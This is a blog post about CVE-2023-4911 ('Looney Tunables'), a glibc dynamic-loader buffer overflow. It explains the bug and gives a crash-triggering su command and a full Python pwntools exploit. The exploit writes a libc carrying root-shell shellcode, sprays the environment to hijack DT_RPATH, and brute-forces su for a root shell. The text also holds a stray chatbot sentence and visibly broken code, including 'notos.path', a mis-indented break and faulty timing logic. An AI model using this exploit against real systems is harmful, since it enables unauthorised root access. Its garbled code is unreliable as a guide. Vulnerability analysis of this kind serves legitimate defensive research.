top of page
  • Writer's pictureAegisbyte

Looney Tunables: In-depth Analysis of Local Privilege Escalation


Executive Summary


The GNU C Library's dynamic loader, ld.so, is responsible for locating and initializing shared libraries required by an executable. This component is particularly critical as it's invoked with elevated privileges when executing specific binaries, such as set-user-ID and set-group-ID programs. Historically, handling of certain environment variables, notably LD_PRELOAD, LD_AUDIT, and LD_LIBRARY_PATH, has presented security risks.


Qualys has identified a buffer overflow vulnerability within the dynamic loader's processing of the GLIBC_TUNABLES environment variable. This flaw was introduced in glibc 2.34 with the commit labeled 2ed18c in April 2021. The impact of this vulnerability is substantial, permitting escalation to root privileges on several mainstream distributions. Qualys refrains from publicizing the specific exploitation technique at this time. Nevertheless, due to the simplicity of the buffer overflow, there's a possibility that other security researchers may develop and release their own exploits soon after this advisory.


Detailed Analysis


At initialization, ld.so invokes the __tunables_init() function to scan the environment for GLIBC_TUNABLES variables. Upon detection, it duplicates this variable, processes and sanitizes the copy, and then replaces the original GLIBC_TUNABLES with this sanitized version. Within the process of sanitizing, the function parse_tunables removes potentially harmful tunables while retaining safe ones. However, when encountering a malformed GLIBC_TUNABLES variable (e.g., "tunable1=tunable2=AAA"), a buffer overflow can occur, corrupting adjacent memory.


Qualys' further investigations using fuzzing tools like AFL++ and libFuzzer quickly identified this vulnerability, emphasizing its detectability.


Proof Of Concept CVE-2023-4911


Executing the command:

$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

Note: The results in a segmentation fault, confirming the vulnerability.


Exploit in Python:

$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help

Here's your C code converted to Python using the given constraints:

#!/usr/bin/env python3
# PoC by Aegisbyte
# Credits to Qualys, Inc.
# Download pwntools library
# Pwntools is a CTF framework and exploit development library. 
# Written in Python, it is designed for rapid prototyping and 
# development, and intended to make exploit writing as simple as # possible.
# GitHub Link: https://github.com/Gallopsled/pwntools
 
from pwn import * 
import os 
import time 

context.os = "linux"
context.arch = "x86_64" 

FILL_SIZE = 0xd00 
BOF_SIZE = 0x600 

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") 
d = bytearray(open(libc.path, "rb").read()) 

sc = asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()) 
orig = libc.read(libc.sym["__libc_start_main"], 0x10) 
idx = d.find(orig) 
d[idx : idx + len(sc)] = sc 
open("./libc.so.6", "wb").write(d)

def time_us(): 
    return int(time.time() * 1e6) 
    
filler = ("GLIBC_TUNABLES=glibc.malloc.mxfast=" + "F" * (FILL_SIZE - 34)).encode() 
kv = ("GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=" + "A" * (BOF_SIZE - 49)).encode() 
filler2 = ("GLIBC_TUNABLES=glibc.malloc.mxfast=" + "F" * (BOF_SIZE + 0x20 - 34)).encode() 
dt_rpath = b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xEC" * (0x20000 // 8) 

envp = [b""] * 0x1000 
envp[0] = filler 
envp[1] = kv 
envp[0x65] = b"" 
envp[0x65 + 0xb8] = b"\x30\xf0\xff\xff\xfd\x7f" 
envp[0xf7f] = filler2 

for i in range(0x2f): 
    envp[0xf80 + i] = dt_rpath 
envp[0xffe] = b"AAAA" 

argv = [b"/usr/bin/su", b"--help", None] 

if notos.path.exists("\""): 
    os.mkdir("\"") 
    with open("\"/libc.so.6", "wb") as dfd, open("./libc.so.6", "rb") as sfd: 
        buf = sfd.read(0x1000) 
        while buf: 
            dfd.write(buf) 
            buf = sfd.read(0x1000) 
ct = 1 
while True: 
    if ct % 100 == 0: 
        print(f"try {ct}") 
    pid = os.fork()
    if pid == 0:  # child 
        os.execve(argv[0], argv, envp) 
    else:  # parent 
        wstatus, _ = os.wait() 
        start_time = time_us() 
        if os.WIFSIGNALED(wstatus) and time_us() - start_time > 1000000: 
        # likely a shell return 
        break 
    ct += 1

Note: Make sure to test this in a safe environment, as it involves creating and running a custom libc.so.6 binary.


Exploitation Mechanics


The buffer overflow originates from memory allocations using the __minimal_malloc function, which acquires memory via mmap(). Qualys explored various avenues for exploiting this vulnerability:

  • Initially, the approach to overwrite the link_map structure's l_next and l_prev pointers was considered, but this approach was thwarted by assertions within ld.so.

  • The successful approach focused on the uninitialized pointers within the link_map structure, particularly l_info[DT_RPATH]. By manipulating this pointer, Qualys demonstrated that ld.so could be directed to a malicious directory, facilitating arbitrary code execution.

The exploit's effectiveness hinges on the guessability of memory addresses. With persistence and iterative attempts, the exploitation technique managed to hijack the library loading mechanism, achieving root privileges in most scenarios.


68 views
bottom of page